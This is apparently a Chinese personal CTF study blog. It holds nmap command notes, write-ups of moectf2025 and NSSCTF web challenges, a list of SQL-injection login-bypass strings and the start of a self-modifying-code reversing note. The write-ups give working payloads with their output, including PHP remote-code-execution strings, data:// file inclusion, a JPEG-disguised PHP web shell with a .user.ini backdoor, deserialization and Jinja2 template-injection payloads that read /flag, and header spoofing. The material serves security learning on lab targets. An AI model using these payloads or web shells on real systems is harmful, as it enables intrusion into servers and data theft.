    • --script=<脚本>:如 vuln(漏洞检测)、http-title(网页标题
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 基础扫描:SYN + 服务版本
sudo nmap -sS -sV target_ip

# 快速扫描:仅常用端口
nmap -F target_ip

# 全端口扫描 + OS 探测
sudo nmap -p- -O target_ip

# UDP 关键端口扫描
sudo nmap -sU -p 53,67,161 target_ip

# 漏洞检测(NSE)
sudo nmap --script=vuln target_ip

感觉这样只学理论感觉不太行,以后的边练边学。

练习

moectf2025

第一章 神秘的手镯

F12在源码中找到flag

1

第三章 问剑石!篡天改命!

F12查看源码看到flag的逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<script>
async function testTalent() {
try {
const response = await fetch('/test_talent?level=B', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ manifestation: 'none' })
});

const data = await response.json();
document.getElementById('result').textContent = data.result;

// 显示/隐藏光芒效果
const glow = document.getElementById('glow');
if (data.result.includes('流云状青芒')) {
glow.style.opacity = '1';
} else {
glow.style.opacity = '0';
}

if (data.flag) {
setTimeout(() => {
alert(`✨ 天道机缘:${data.flag} ✨\n\n天赋篡天术大成!`);
}, 500);
}
} catch (error) {
alert('玄轨连接中断!请检查灵枢...');
}
}
</script>

我们可以通过在控制台发送信息来得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
fetch('/test_talent?level=S', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ manifestation: 'flowing_azure_clouds' })
})
.then(res => res.json())
.then(data => {
console.log("篡改成功!Flag为:", data.flag);
alert(`✨ 天道机缘:${data.flag} ✨`);
})
.catch(err => console.error("篡天失败:", err));

1

第十二章 玉魄玄关·破妄

用蚁剑,先右键添加数据,输入ip和端口,测试链接,再点击添加就成功了,密码是cmd

1

flag应该就藏在某个文件夹里面,反正我没找到,以后再看看。找到了在环境变量里面。

第五章 打上门来!

1
../../

../可以返回上级目录

1

[极客大挑战 2019]Http

1

用F12查看到Secret.php

访问Secret.php

1

用bp

header中添加上 Referer:https://www.Sycsecret.com

1

1

修改 User-Agent 为User-Agent: Syclover

1

1

127.0.0.1,所以我们可以利用X-Forwarded-For协议来伪造只需要在 header 添加 X-Forwarded-For:127.0.0.1,再次访问

1

NSSCTF hardrce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{
$wllm = $_GET['wllm'];
$blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];//对wllm内容进行限制,过滤掉一下的特殊字符
foreach ($blacklist as $blackitem)
{
if (preg_match('/' . $blackitem . '/m', $wllm)) {
die("LTLT说不能用这些奇奇怪怪的符号哦!");
}}
if(preg_match('/[a-zA-Z]/is',$wllm)) //进行正则匹配,过滤掉大小写字母
{
die("Ra's Al Ghul说不能用字母哦!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm); //执行wllm,说明存在远程代码执行漏洞
}
else
{
echo "蔡总说:注意审题!!!";
}
?> 蔡总说:注意审题!!!

php在线运行网站

取反符号 ‘ ~ ‘

1
2
3
4
<?php
echo urlencode(~'system');
echo "\n";
echo urlencode(~'ls /');?>

得到

1
2
%8C%86%8C%8B%9A%92
%93%8C%DF%D0

payload

1
?wllm=(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{
$wllm = $_GET['wllm'];
$blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];
foreach ($blacklist as $blackitem)
{
if (preg_match('/' . $blackitem . '/m', $wllm)) {
die("LTLT说不能用这些奇奇怪怪的符号哦!");
}}
if(preg_match('/[a-zA-Z]/is',$wllm))
{
die("Ra's Al Ghul说不能用字母哦!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}
else
{
echo "蔡总说:注意审题!!!";
}
?> NoVic4说:不错哦小伙子,可你能拿到flag吗?bin boot dev etc flllllaaaaaaggggggg home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var

继续

1
2
3
4
<?php
echo urlencode(~'system');
echo "\n";
echo urlencode(~'cat /flllllaaaaaaggggggg');?>
1
2
%8C%86%8C%8B%9A%92
%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98

payload

1
?wllm=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{
$wllm = $_GET['wllm'];
$blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];
foreach ($blacklist as $blackitem)
{
if (preg_match('/' . $blackitem . '/m', $wllm)) {
die("LTLT说不能用这些奇奇怪怪的符号哦!");
}}
if(preg_match('/[a-zA-Z]/is',$wllm))
{
die("Ra's Al Ghul说不能用字母哦!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}
else
{
echo "蔡总说:注意审题!!!";
}
?> NoVic4说:不错哦小伙子,可你能拿到flag吗?NSSCTF{47638a22-222b-4171-a5bd-890458f414a7}

第十六章 昆仑星途

1
2
3
4
5
<?php
error_reporting(0);
highlight_file(__FILE__);

include($_GET['file'] . ".php");

文件包含漏洞

使用 PHP 封装器

Wrapper 用途
php://input 读取 POST 数据,可执行代码
php://filter 数据流过滤,用于读取文件源码
php://memory / php://temp 内存数据流
data:// 数据 URI,可嵌入代码
expect:// 执行系统命令(极少见)

payload1

1
?file=data://text/plain,<?php system("ls -la /"); ?>
1
2
3
4
5
<?php
error_reporting(0);
highlight_file(__FILE__);

include($_GET['file'] . ".php"); total 68 drwxr-xr-x 1 root root 4096 Sep 4 00:52 . drwxr-xr-x 1 root root 4096 Sep 4 00:52 .. lrwxrwxrwx 1 root root 7 May 12 19:25 bin -> usr/bin drwxr-xr-x 2 root root 4096 May 12 19:25 boot drwxr-xr-x 5 root root 360 Sep 4 00:52 dev -rwxr-xr-x 1 root root 118 Aug 20 12:43 entrypoint.sh drwxr-xr-x 1 root root 4096 Sep 4 00:52 etc -rw-r--r-- 1 root root 45 Sep 4 00:52 flag-P9Mo56YCMkjhEzXSqnmPZ9sWCudQTs.txt drwxr-xr-x 2 root root 4096 May 12 19:25 home lrwxrwxrwx 1 root root 7 May 12 19:25 lib -> usr/lib lrwxrwxrwx 1 root root 9 May 12 19:25 lib64 -> usr/lib64 drwxr-xr-x 2 root root 4096 Aug 11 00:00 media drwxr-xr-x 2 root root 4096 Aug 11 00:00 mnt drwxr-xr-x 2 root root 4096 Aug 11 00:00 opt dr-xr-xr-x 441 root root 0 Sep 4 00:52 proc drwx------ 2 root root 4096 Aug 11 00:00 root drwxr-xr-x 1 root root 4096 Sep 4 00:52 run lrwxrwxrwx 1 root root 8 May 12 19:25 sbin -> usr/sbin drwxr-xr-x 2 root root 4096 Aug 11 00:00 srv dr-xr-xr-x 13 root root 0 Aug 18 11:39 sys drwxrwxrwt 1 root root 4096 Sep 4 00:52 tmp drwxr-xr-x 1 root root 4096 Aug 11 00:00 usr drwxr-xr-x 1 root root 4096 Aug 12 22:26 var .php

看到flag-P9Mo56YCMkjhEzXSqnmPZ9sWCudQTs.txt

payload

1
?file=data://text/plain,<?php system("cat /flag-P9Mo56YCMkjhEzXSqnmPZ9sWCudQTs.txt"); ?>

第四章 金曦破禁与七绝傀儡阵

1

抓包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
GET /stone_golem HTTP/1.1
Host: 127.0.0.1:61709
sec-ch-ua: "Chromium";v="113", "Not-A.Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

使用GET方法传递参数 key=xdsec

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
GET /stone_golem?key=xdsec HTTP/1.1
Host: 127.0.0.1:61709
sec-ch-ua: "Chromium";v="113", "Not-A.Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
1
2
flag1:bW9lY3Rme0Mw
<a href="/cloud_weaver">前往第二关:织云傀儡</a>

1

1
2
3
4
5
6
7
8
9
10
11
POST /cloud_weaver HTTP/1.1
Host: 127.0.0.1:61709
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 60

declaration=%E7%BB%87%E4%BA%91%E9%98%81%3D%E7%AC%AC%E4%B8%80
1
2
flag2: bjZyNDd1MTQ3  
<a href="/shadow_stalker">前往第三关:溯源傀儡</a>

1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
GET /shadow_stalker HTTP/1.1
Host: 127.0.0.1:65093
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="113", "Not-A.Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
X-Forwarded-For:127.0.0.1
Connection: close
1
2
flag3:MTBuNV95MHVy
<a href="/soul_discerner">前往第四关:器灵傀儡</a>

1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
GET /soul_discerner HTTP/1.1
Host: 127.0.0.1:65093
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="113", "Not-A.Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: moe browser
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
1
2
flag4:X2g3N1BfbDN2
<a href="/heart_seal">前往第五关:心印傀儡</a>

1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
GET /heart_seal HTTP/1.1
Host: 127.0.0.1:65093
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="113", "Not-A.Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: user=xt; role=xt; auth=1
Connection: close
1
2
flag5:M2xfMTVfcjM0
<a href="/pathfinder">前往第六关:前尘傀儡</a>

1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
GET /pathfinder HTTP/1.1
Host: 127.0.0.1:65093
Referer: http://panshi/entry
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="113", "Not-A.Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
1
2
flag6:bGx5X2gxOWgh
<a href="/void_rebirth">前往第七关:逆转傀儡</a>
1
2
3
4
5
玉板铭文:阴阳逆乱,归墟可填。以"覆"代"取",塑吾新生

使用PUT方法,请求体为"新生!"

请使用工具发送PUT请求
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests


def send_put_request_and_save():
url = "http://127.0.0.1:56205/void_rebirth"
data = "新生!"

headers = {
"Host": "127.0.0.1:56205",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"Accept-Language": "zh-CN,zh;q=0.9",
"Connection": "close",
"Content-Type": "text/plain; charset=utf-8"
}

try:
response = requests.put(url, data=data.encode('utf-8'), headers=headers)
print(f"状态码: {response.status_code}")

# 保存响应到文件
with open("response.html", "w", encoding="utf-8") as f:
f.write(response.text)
print("响应已保存到 response.html 文件中")

# 检查是否包含成功关键词
if "成功" in response.text or "通过" in response.text:
print("✓ 恭喜!挑战成功!")
else:
print("响应内容已保存,请查看文件确认结果")

except Exception as e:
print(f"请求出错: {e}")


if __name__ == "__main__":
send_put_request_and_save()
1
fQ==
1
bW9lY3Rme0MwbjZyNDd1MTQ3 MTBuNV95MHVyX2g3N1BfbDN2M2xfMTVfcjM0bGx5X2gxOWghfQ==
1
moectf{C0n6r47u14710n5_y0ur_h77P_l3v3l_15_r34lly_h19h!}

第十三章 通幽关·灵纹诡影

文件上传的题目

  • 仅受仙灵之气浸润的「云纹图」可修复玉魄核心(建议扩展名:.jpg)
  • 灵纹尺寸不得大于三寸(30000字节)
  • 灵纹必须包含噬心魔印(十六进制校验码:FFD8FF)
  • 违禁灵纹将触发九幽雷劫,魂飞魄散!

要求头部是FFD8FF,扩展名:.jpg

脚本生成一句话木马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# 生成flag.jpg文件,头部为FFD8FF,后面接指定PHP代码
def generate_flag_jpg(filename="flag.jpg"):
try:
# JPEG文件头部字节: FFD8FF
jpg_header = bytes.fromhex("FFD8FF")

# 要添加的PHP代码
php_code = "<?php @eval($_POST['cmd']); ?>"

# 将PHP代码转换为字节
php_bytes = php_code.encode('utf-8')

# 合并头部和PHP代码
file_content = jpg_header + php_bytes

# 写入文件
with open(filename, 'wb') as f:
f.write(file_content)

print(f"文件 {filename} 生成成功")
print(f"文件大小: {len(file_content)} 字节")

except Exception as e:
print(f"生成文件时出错: {str(e)}")


if __name__ == "__main__":
generate_flag_jpg()

然后抓包,再send,有点要注意就是FFD8FF要在HEX里改一下,然后flag.jpg改成php再上传。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
POST /upload.php HTTP/1.1
Host: 127.0.0.1:56088
Content-Length: 224
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="113", "Not-A.Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1:56088
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarynIFBmbukzvUMjAFA
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:56088/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundarynIFBmbukzvUMjAFA
Content-Disposition: form-data; name="spiritPattern"; filename="flag.php"
Content-Type: image/jpeg

ÿØÿ<?php @eval($_POST['cmd']); ?>
------WebKitFormBoundarynIFBmbukzvUMjAFA--

最后用蚁剑连接一下后门就可以得到flag了。

第十七章 星骸迷阵·神念重构

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
highlight_file(__FILE__);

class A {
public $a;
function __destruct() {
eval($this->a);
}
}

if(isset($_GET['a'])) {
unserialize($_GET['a']);
}
  1. 应用接受用户输入的GET参数a
  2. 直接对输入进行反序列化操作,没有进行任何过滤或验证
  3. 类A的__destruct方法中使用eval()执行类属性$a的内容
  4. 当对象被销毁时,会自动调用__destruct方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class A {
public $a;
}

$obj = new A();
$obj->a = "system('ls /');"; // 使用system执行ls命令

$serialized = serialize($obj);
echo "URL编码后的序列化字符串:\n";
echo urlencode($serialized) . "\n\n";

echo "原始序列化字符串:\n";
echo serialize($obj) . "\n";
?>
1
2
3
4
5
URL编码后的序列化字符串:
O%3A1%3A%22A%22%3A1%3A%7Bs%3A1%3A%22a%22%3Bs%3A15%3A%22system%28%27ls+%2F%27%29%3B%22%3B%7D

原始序列化字符串:
O:1:"A":1:{s:1:"a";s:15:"system('ls /');";}

payload

1
http://127.0.0.1:58283/index.php/?a=O%3A1%3A%22A%22%3A1%3A%7Bs%3A1%3A%22a%22%3Bs%3A15%3A%22system%28%27ls+%2F%27%29%3B%22%3B%7D
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
highlight_file(__FILE__);

class A {
public $a;
function __destruct() {
eval($this->a);
}
}

if(isset($_GET['a'])) {
unserialize($_GET['a']);
} app bin dev entrypoint.sh etc flag home lib media mnt opt proc root run sbin srv sys tmp usr var

看到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class A {
public $a;
}

$obj = new A();
$obj->a = "system('cat /flag');";

$serialized = serialize($obj);
echo "URL编码后的序列化字符串:\n";
echo urlencode($serialized) . "\n\n";

echo "原始序列化字符串:\n";
echo serialize($obj) . "\n";
?>
1
http://127.0.0.1:58283/index.php/?a=O%3A1%3A%22A%22%3A1%3A%7Bs%3A1%3A%22a%22%3Bs%3A20%3A%22system%28%27cat+%2Fflag%27%29%3B%22%3B%7D

发送即可获得flag

ez_SSTI

1
你的名字是?(use ?name= in url)

payload

1
http://node4.anna.nssctf.cn:28531/ssti?name={{7*7}}
1
2
3
4
欢迎 49
你已经掌握ssti的精髓了,开始读取flag吧!!🫡
提示模板是Jinja2,参考文章https://www.cnblogs.com/hetianlab/p/17273687.html🤪
推荐工具fenjing,可上网下载,也可进群咨询😉

paylaod1

1
http://node4.anna.nssctf.cn:28531/ssti?name={{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}
1
2
3
4
欢迎 NSSCTF{6e72997c-2192-4ec3-98a1-3404123b90cd}
你已经掌握ssti的精髓了,开始读取flag吧!!🫡
提示模板是Jinja2,参考文章https://www.cnblogs.com/hetianlab/p/17273687.html🤪
推荐工具fenjing,可上网下载,也可进群咨询😉

第二十章 幽冥血海·幻语心魔

1
2
3
4
5
6
7
8
9
10
11
12
@app.route('/')
def index():
if 'username' in request.args or 'password' in request.args:
username = request.args.get('username', '')
password = request.args.get('password', '')
# ... 此处存在SSTI漏洞
login_msg = render_template_string(f"""
<div class="login-result" id="result">
<div class="result-title">阵法反馈</div>
<div id="result-content"><div class='login-success'>欢迎: {username}</div></div>
</div>
""")

首先验证是否存在SSTI漏洞,使用简单的数学表达式测试:

1
http://127.0.0.1:62433/?username={{7*7}}&password=test
1
2
阵法反馈
Welcome: 49

存在SSTI漏洞

Payload

1
http://127.0.0.1:62433/?username={{().__class__.__base__.__subclasses__()[X].__init__.__globals__['__builtins__']['open']('/flag').read()}}&password=any

怎么多了个没用的php文件

.user.ini 是 PHP 配置文件 php.ini 的补充文件。当通过 Web 服务器访问 PHP 页面时,PHP 会在当前执行的脚本所在目录及其上层目录中查找是否存在 .user.ini 文件。如果找到,便会将其中的配置指令合并到主 php.ini 设置中,并作为 CGI 或 FastCGI 进程的启动参数。

虽然 php.ini 限制了许多关键配置仅能在全局范围内修改,但 .user.ini 仍允许用户控制部分设置,其中之一便是 auto_prepend_file 指令。该指令用于指定一个文件,PHP 会在执行同一目录下的所有脚本之前自动包含该文件,使其成为脚本执行的预处理部分。

利用这一机制,攻击者可上传一个自定义的 .user.ini 文件,并通过设置 auto_prepend_file 指向某个包含恶意代码(如一句话木马)的文件。此后,只要访问该目录下的任何 PHP 脚本,都会自动加载该恶意文件,从而实现持久化的代码执行能力。为进一步完成攻击,攻击者通常还需上传一个包含恶意代码的预包含文件。

文件一

sh.jpg

1
<?php @eval($_POST['cmd']); ?>

文件二

.user.ini

1
auto_prepend_file = sh.jpg

用蚁剑连接即可

看看ip

抓包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
GET /?format=json HTTP/1.1
Host: api.ipify.org
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:143.0) Gecko/20100101 Firefox/143.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://node6.anna.nssctf.cn:23286/
Origin: http://node6.anna.nssctf.cn:23286
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site
Priority: u=0
Te: trailers
Connection: close

发现网站并没有用复杂的技术来获取IP,而是简单地让的浏览器去调用一个第三方IP查询API

如果服务器信任客户端传来的某些HTTP头信息,就可能被欺骗。最常用的头就是 X-Forwarded-For (XFF)。

1
2
3
4
5
6
7
8
9
10
11
12
13
GET / HTTP/1.1
Host: node6.anna.nssctf.cn:23286
X-Forwarded-For:{{system('cat /flag')}}
Content-Length: 417

ref(APA): piter.piterの小窝.https://npiter.tech. Retrieved 2025/9/21.
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:143.0) Gecko/20100101 Firefox/143.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Priority: u=0, i

babyphp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
highlight_file(__FILE__);
include_once('flag.php');
if(isset($_POST['a'])&&!preg_match('/[0-9]/',$_POST['a'])&&intval($_POST['a'])){
if(isset($_POST['b1'])&&$_POST['b2']){
if($_POST['b1']!=$_POST['b2']&&md5($_POST['b1'])===md5($_POST['b2'])){
if($_POST['c1']!=$_POST['c2']&&is_string($_POST['c1'])&&is_string($_POST['c2'])&&md5($_POST['c1'])==md5($_POST['c2'])){
echo $flag;
}else{
echo "yee";
}
}else{
echo "nop";
}
}else{
echo "go on";
}
}else{
echo "let's get some php";
}
?> let's get some php

hackbar send post payload

1
a[]=a&b1[]=1&b2[]=2&c1=s878926199a&c2=s155964671a

SQL之万能秘钥学习

正常的SQL语句

1
SELECT * FROM users WHERE username = '输入的用户名' AND password = '输入的密码';

用户输入 admin123456,生成的SQL语句为:

1
SELECT * FROM users WHERE username = 'admin' AND password = '123456';

当我们输入 ‘ OR ‘1’=’1

1
SELECT * FROM users WHERE username = '随便输入什么都行' AND password = '' OR '1'='1';

username = '随便输入什么都行' → False

password = '123456' → False

(False AND False) OR True —-> Ture

搬运佬的blog

参考链接https://blog.csdn.net/hxhxhxhxx/article/details/108020010

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
' or 1='1
'or'='or'
admin
admin'--
admin' or 4=4--
admin' or '1'='1'--
admin888
"or "a"="a
admin' or 2=2#
a' having 1=1#
a' having 1=1--
admin' or '2'='2
')or('a'='a
or 4=4--
c
a'or' 4=4--
"or 4=4--
'or'a'='a
"or"="a'='a
'or''='
'or'='or'
1 or '1'='1'=1
1 or '1'='1' or 4=4
'OR 4=4%00
"or 4=4%00
'xor
admin' UNION Select 1,1,1 FROM admin Where ''='
1
-1%cf' union select 1,1,1 as password,1,1,1 %23
1
17..admin' or 'a'='a 密码随便
'or'='or'
'or 4=4/*
something
' OR '1'='1
1'or'1'='1
admin' OR 4=4/*
1'or'1'='1

asp aspx万能密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
1:”or “a”=”a
2: ‘)or(‘a’=’a
3:or 1=1–
4:’or 1=1–
5:a’or’ 1=1–
6:”or 1=1–
7:’or’a’=’a
8:”or”=”a’=’a
9:’or”=’
10:’or’=’or’
11: 1 or ‘1’=’1’=1
12: 1 or ‘1’=’1’ or 1=1
13: ‘OR 1=1%00
14: “or 1=1%00
15: ‘xor
16: 用户名 ’ UNION Select 1,1,1 FROM admin Where ”=’ (替换表名admin)
密码 1
17…admin’ or ‘a’=’a 密码随便

PHP万能密码

1
2
3
‘or 1=1/*
User: something
Pass: ’ OR ‘1’=’1

jsp 万能密码

1
2
1’or’1’=’1
admin’ OR 1=1/*

wuuu,上次烽火杯的smc没写出来,这次的nepctf的smc也没写出了,所以打算总结一下smc,并且以后碰到smc都往这个blog里面放了。

简述一下原理:

在CTF逆向工程中,SMC(Self-Modifying Code,自修改代码) 是一种常见的反分析技术。其核心原理是程序在运行时动态修改自身的指令代码,使得静态分析工具(如IDA Pro)无法直接获取完整的可执行逻辑,从而增加逆向难度。

感觉smc根本就不难,动调一下基本都可以解决,但是难在有些反调试等方面感觉只单出smc的没见过。

话不多说直接上例题,我目前写过的smc有:NepCTF的realme,[网鼎杯 2020 青龙组]jocker,[SCTF2019]creakme,和烽火杯的smc

今天一天可能写不完四个,慢慢写吧,就按这个顺序来写。

NepCTF realme

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
int __cdecl main_0(int argc, const char **argv, const char **envp)
{
char v4; // [esp+0h] [ebp-104h]
char v5; // [esp+0h] [ebp-104h]
unsigned int i; // [esp+D0h] [ebp-34h]
char v7[40]; // [esp+DCh] [ebp-28h] BYREF

__CheckForDebuggerJustMyCode(&unk_41200F);
qmemcpy(v7, "PY", 2);
v7[2] = -94;
v7[3] = -108;
v7[4] = 46;
v7[5] = -114;
v7[6] = 92;
v7[7] = -107;
v7[8] = 121;
v7[9] = 22;
v7[10] = -27;
v7[11] = 54;
v7[12] = 96;
v7[13] = -57;
v7[14] = -24;
v7[15] = 6;
v7[16] = 51;
v7[17] = 120;
v7[18] = -16;
v7[19] = -48;
v7[20] = 54;
v7[21] = -56;
v7[22] = 115;
v7[23] = 27;
v7[24] = 101;
v7[25] = 64;
v7[26] = -75;
v7[27] = -44;
v7[28] = -24;
v7[29] = -100;
v7[30] = 101;
v7[31] = -12;
v7[32] = -70;
v7[33] = 98;
v7[34] = -48;
sub_40108C("Please input the flag:\n", v4);
sub_4011C2("%s", byte_410158);
sub_401050(byte_410158, Str); //魔改RC4 KSA多了一个^0x66,最后的和秘钥流的异或变成了模取
for ( i = 0; i < 0x23; ++i )
{
if ( byte_410158[i] != v7[i] )
